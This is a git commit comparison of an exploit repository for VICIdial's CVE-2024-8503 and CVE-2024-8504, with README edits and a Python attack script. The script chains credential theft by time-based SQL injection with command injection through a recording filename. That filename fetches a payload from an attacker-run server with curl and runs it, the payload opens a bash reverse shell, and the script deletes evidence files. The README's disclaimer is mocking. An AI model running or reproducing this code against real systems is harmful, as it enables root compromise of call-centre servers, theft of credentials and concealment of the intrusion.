Compare commits

...

10 Commits

Author SHA1 Message Date
Chocapikk
eef25f93bb Cleaner bash payload 2024-09-16 01:34:05 +02:00
Chocapikk
c95803b264 Fix error in README 2024-09-16 01:28:00 +02:00
Chocapikk
6b48869dd1 Re-improve file deletion, and campaign names 2024-09-16 01:23:28 +02:00
Chocapikk
83c9bd5e9c Remove campaign ID from the payload 2024-09-16 01:13:01 +02:00
Chocapikk
1e5c4a51b3 Randomize malicious filename, improve file deletion 2024-09-16 01:10:06 +02:00
Chocapikk
be73a6415b Remove bash file 2024-09-16 00:58:10 +02:00
Chocapikk
b9f2928d49 Remove duplicate instruction 2024-09-16 00:39:01 +02:00
Chocapikk
2796df771c Always delete the campaign, regardless of success or failure 2024-09-15 23:56:36 +02:00
Chocapikk
76934c993b More stable, using IP instead of hostname, deleting campaign after exploit, and infected files. 2024-09-15 19:32:03 +02:00
Chocapikk
03693c6360 *v* 2024-09-14 10:32:26 +02:00
2 changed files with 466 additions and 366 deletions

View File

@@ -3,20 +3,20 @@
![Banner](./img/banner.png)
## 🚨 Overview
This repository contains a combined exploit for two critical vulnerabilities discovered in **VICIdial** by **KoreLogic**:
This repository contains a combined exploit for two critical vulnerabilities discovered in **[VICIdial](https://vicidial.com)** by **[KoreLogic](https://korelogic.com)**:
- **CVE-2024-8503**: Unauthenticated SQL Injection (SQLi)
- **CVE-2024-8504**: SQLi leading to Remote Code Execution (RCE)
- **CVE-2024-8504**: Authenticated Remote Code Execution (RCE)
These vulnerabilities allow an attacker to retrieve administrative credentials through SQLi and ultimately execute arbitrary code on the target server via an RCE attack.
### 🛑 Advisory:
- **Vulnerability Type**: SQL Injection (CVE-2024-8503) and SQLi to RCE (CVE-2024-8504)
- **Vulnerability Type**: SQL Injection (CVE-2024-8503) and RCE (CVE-2024-8504)
- **Affected Software**: VICIdial
- **Severity**: Critical
- **CVE IDs**:
- **CVE-2024-8503** (SQLi)
- **CVE-2024-8504** (SQLi to RCE)
- **CVE-2024-8504** (RCE)
### 🔗 Vulnerability Advisories:
- [CVE-2024-8503 - SQLi Advisory](https://korelogic.com/Resources/Advisories/KL-001-2024-011.txt)
@@ -26,7 +26,7 @@ These vulnerabilities allow an attacker to retrieve administrative credentials t
This exploit tool allows you to either:
1. **Retrieve administrator credentials via SQLi** (CVE-2024-8503)
2. **Achieve RCE via SQLi and poisoned recording files** (CVE-2024-8504)
2. **Achieve RCE via poisoned recording files** (CVE-2024-8504)
The tool is based on KoreLogics original research, with enhancements made to:
- Separate the **SQLi** and **RCE** functionalities for more flexibility.
@@ -105,7 +105,7 @@ python exploit.py -u https://example.org -wh <server IP> -wp 5000 -lh <server IP
## 📄 Acknowledgements
This exploit is based on the original work by **KoreLogic**, and full credit goes to them for the discovery and initial PoC:
This exploit is based on the original work by **[KoreLogic](https://korelogic.com)**, and full credit goes to them for the discovery and initial PoC:
- [CVE-2024-8503 - SQLi Advisory](https://korelogic.com/Resources/Advisories/KL-001-2024-011.txt)
- [CVE-2024-8504 - RCE Advisory](https://korelogic.com/Resources/Advisories/KL-001-2024-012.txt)
@@ -113,4 +113,4 @@ Special thanks to KoreLogic for the foundational work. This tool was adapted to
## 🛡️ Disclaimer
This tool is for **educational purposes** only (lol). Use of this exploit without explicit permission from the system owner is illegal. The author assumes no responsibility for the misuse of this tool.
This tool is for **educational purposes** only (lol). Use of this exploit without explicit permission from the system owner is illegal. The author assumes no responsibility for the misuse of this tool. Scambaiters, you're welcome.

View File

@@ -11,6 +11,7 @@ import rich_click as click
from faker import Faker
from base64 import b64encode
from datetime import datetime
from bs4 import BeautifulSoup
from urllib.parse import urlparse
@@ -39,7 +40,11 @@ class Exploit:
self.TARGET_URL = url
self.TARGET_IP = urlparse(url).hostname
# Resolve the domain to IP and replace in the URL
self.replace_domain_with_ip()
# Get the IP from the resolved URL
self.TARGET_IP = urlparse(self.TARGET_URL).hostname
self.PAYLOAD_WEBSERVER_HOST = whost
self.PAYLOAD_WEBSERVER_PORT = wport
@@ -55,19 +60,47 @@ class Exploit:
self.CAMPAIGN_ID = "".join(random.choices(string.digits, k=6))
self.LIST_ID = str(int(self.CAMPAIGN_ID) + 1)
self.MALICIOUS_FILENAME = "." + "".join(
random.choices(string.ascii_lowercase + string.digits, k=4)
)
self.COMPANY_NAME = (
self.fake.company()
.replace(" ", "_")
.replace("-", "_")
.replace(",", "")
.lower()
self.fake.company().title()
+ " "
+ random.choice(
[
"Dial",
"Inbound",
"Call",
"Shift",
"Support",
"Sales",
"Outbound",
"Admin",
"Helpdesk",
"Queue",
"Agent",
"Service",
"Tech",
"Monitoring",
"Operations",
"Logistics",
"Manager",
]
)
)
def custom_print(self, message: str, header: str) -> None:
"""
Prints a message with a colored header to indicate the message type.
"""
header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
header_colors = {
"+": "green",
"-": "red",
"!": "yellow",
"*": "blue",
"~": "magenta",
}
header_color = header_colors.get(header, "white")
formatted_message = click.style(
f"[{header}] ", fg=header_color, bold=True
@@ -211,23 +244,58 @@ class Exploit:
# Ensure both fields are retrieved
if not mgr_login_name or not mgr_pass_name:
self.custom_print("Could not find the required dynamic fields", "-")
return None, None
self.custom_print(
"Could not find the required dynamic fields, constructing manually",
"!",
)
# Get today's date in the required format (YYYYMMDD)
today_date = datetime.now().strftime("%Y%m%d")
# Manually construct the dynamic field names
mgr_login_name = f"MGR_login{today_date}"
mgr_pass_name = f"MGR_pass{today_date}"
self.custom_print(
f"Manually constructed dynamic field names: {mgr_login_name}, {mgr_pass_name}",
"+",
)
else:
mgr_login_name = mgr_login_name["name"]
mgr_pass_name = mgr_pass_name["name"]
self.custom_print(
f"Retrieved dynamic field names: {mgr_login_name}, {mgr_pass_name}", "+"
f"Retrieved dynamic field names: {mgr_login_name}, {mgr_pass_name}",
"+",
)
return mgr_login_name, mgr_pass_name
except Exception as e:
self.custom_print(f"Error retrieving dynamic fields: {str(e)}", "-")
self.custom_print(f"An error occurred: {str(e)}", "-")
return None, None
def resolve_domain_to_ip(self, url):
"""Resolves a domain name to an IP address"""
try:
parsed_url = urlparse(url)
domain = parsed_url.hostname
if re.match(r"\d+\.\d+\.\d+\.\d+", domain):
return domain
ip_address = socket.gethostbyname(domain)
return ip_address
except socket.gaierror as e:
raise ValueError(f"Error resolving domain: {str(e)}")
def replace_domain_with_ip(self):
"""Replaces the domain in the TARGET_URL with its resolved IP address"""
ip_address = self.resolve_domain_to_ip(self.TARGET_URL)
self.TARGET_URL = self.TARGET_URL.replace(
urlparse(self.TARGET_URL).hostname, ip_address
)
def poison_recording_files(self, session, username, password):
try:
# authenticate using administrator credentials
credentials = f"{username}:{password}"
credentials_base64 = b64encode(credentials.encode()).decode()
@@ -241,7 +309,9 @@ class Exploit:
target_uri, params=request_params, headers=request_headers
)
if response.status_code == 200:
self.custom_print(f'Authenticated successfully as user "{username}"', "+")
self.custom_print(
f'Authenticated successfully as user "{username}"', "+"
)
else:
self.custom_print(
"Failed to authenticate with credentials. Maybe hashing is enabled?",
@@ -375,27 +445,27 @@ class Exploit:
campaign_settings_body = {
"ADD": "21",
"campaign_id": self.CAMPAIGN_ID,
"campaign_name": f"{self.COMPANY_NAME}_campaign",
"campaign_name": f"{self.COMPANY_NAME}",
"user_group": "---ALL---",
"active": "Y",
"allow_closers": "Y",
"hopper_level": "1",
"next_agent_call": "random",
"local_call_time": "12pm-5pm",
"local_call_time": "12am-11pm",
"get_call_launch": "NONE",
"SUBMIT": "SUBMIT",
}
response = session.post(
target_uri, headers=request_headers, data=campaign_settings_body
)
self.custom_print(f'Created dummy campaign "{self.COMPANY_NAME}_campaign"', "+")
self.custom_print(f'Created dummy campaign "{self.COMPANY_NAME}"', "+")
# update dummy campaign
update_campaign_body = {
"ADD": "41",
"campaign_id": self.CAMPAIGN_ID,
"old_campaign_allow_inbound": "Y",
"campaign_name": f"{self.COMPANY_NAME}_campaign",
"campaign_name": f"{self.COMPANY_NAME}",
"active": "Y",
"lead_order": "DOWN",
"lead_filter_id": "NONE",
@@ -506,26 +576,26 @@ class Exploit:
)
self.custom_print(f"Authenticated as agent using phone credentials", "+")
try:
malicious_filename = f"$(curl$IFS@{self.PAYLOAD_WEBSERVER_HOST}:{self.PAYLOAD_WEBSERVER_PORT}$IFS-o$IFS{self.MALICIOUS_FILENAME}&&bash$IFS{self.MALICIOUS_FILENAME})"
session_name = re.findall(
r"var session_name = '([a-zA-Z0-9_]+?)';", response.text
)[0]
session_id = re.findall(r"var session_id = '([0-9]+?)';", response.text)[0]
session_id = re.findall(
r"var session_id = '([0-9]+?)';", response.text
)[0]
self.custom_print(
f"Session Name: {session_name}, Session ID: {session_id}", "+"
)
malicious_filename = f"{self.CAMPAIGN_ID}1337$(curl$IFS@{self.PAYLOAD_WEBSERVER_HOST}:{self.PAYLOAD_WEBSERVER_PORT}$IFS-o$IFS.c&&bash$IFS.c)"
except Exception as e:
self.custom_print(
f"Error retrieving session_name or session_id: {str(e)}", "-"
)
return False
malicious_filename = f"{self.CAMPAIGN_ID}1337$(curl$IFS@{self.PAYLOAD_WEBSERVER_HOST}:{self.PAYLOAD_WEBSERVER_PORT}$IFS-o$IFS.c&&bash$IFS.c)"
record1_body = {
"server_ip": self.TARGET_IP,
"session_name": session_name,
@@ -547,15 +617,19 @@ class Exploit:
data=record1_body,
)
recording_id_match = re.findall(r"RecorDing_ID: ([0-9]+)", response.text)
print(response.text)
recording_id_match = re.findall(
r"RecorDing_ID: ([0-9]+)", response.text
)
if not recording_id_match:
raise ValueError("Failed to retrieve RecorDing_ID from the response.")
raise ValueError(
"Failed to retrieve RecorDing_ID from the response."
)
recording_id = recording_id_match[0]
self.custom_print(
f"Recording ID: {recording_id} retrieved successfully", "+"
)
self.custom_print(response.text, "~")
except Exception as e:
self.custom_print(f"Error retrieving RecorDing_ID: {str(e)}", "-")
@@ -582,8 +656,29 @@ class Exploit:
headers=request_headers,
data=record2_body,
)
return True
except Exception as e:
self.custom_print(f"An error occurred during exploitation: {str(e)}", "-")
finally:
# Always delete the campaign, regardless of success or failure
self.custom_print(
f"Deleting campaign '{self.COMPANY_NAME}' with ID {self.CAMPAIGN_ID}",
"*",
)
try:
session.get(
f"{self.TARGET_URL}/vicidial/admin.php?ADD=61&campaign_id={self.CAMPAIGN_ID}&CoNfIrM=YES",
headers=request_headers,
)
self.custom_print("Campaign deleted successfully.", "+")
except Exception as delete_exception:
self.custom_print(
f"Failed to delete campaign: {str(delete_exception)}", "-"
)
# returns administrator username and password by
# exploiting time-based SQL injection.
def extract_admin_credentials(self, session):
@@ -629,9 +724,15 @@ class Exploit:
self.custom_print(
f"Received cURL request from {incoming_address[0]}", "+"
)
exploit_script = f"#!/bin/bash\nbash -i >& /dev/tcp/{self.REVERSE_SHELL_HOST}/{self.REVERSE_SHELL_PORT} 0>&1"
exploit_script = (
f"#!/bin/bash\n"
f"rm {self.MALICIOUS_FILENAME} /var/spool/asterisk/monitor/*curl*\n"
f"bash -i >& /dev/tcp/{self.REVERSE_SHELL_HOST}/{self.REVERSE_SHELL_PORT} 0>&1\n"
)
http_response = f"HTTP/1.1 200 OK\r\n"
http_response += f"Content-Length: {len(exploit_script)}\r\n\r\n"
http_response += exploit_script
client.sendall(http_response.encode())
@@ -642,7 +743,6 @@ class Exploit:
self.custom_print(f"Error in webserver: {str(e)}", "-")
def start_listener(self):
"""Démarre un listener Netcat pour capturer le reverse shell."""
try:
self.custom_print(
f"Starting Netcat listener on port {self.REVERSE_SHELL_PORT}", "*"
@@ -710,7 +810,7 @@ def print_banner():
if __name__ == "__main__":
print_banner()
argparser = argparse.ArgumentParser(
description="Exploit for CVE-2024-XXXXX: Unauthenticated SQLi to retrieve credentials or RCE as root"
description="Exploit for CVE-2024-8504: Unauthenticated SQLi to retrieve credentials or RCE as root"
)
required = argparser.add_argument_group("Required Arguments")
optional = argparser.add_argument_group("Optional Arguments")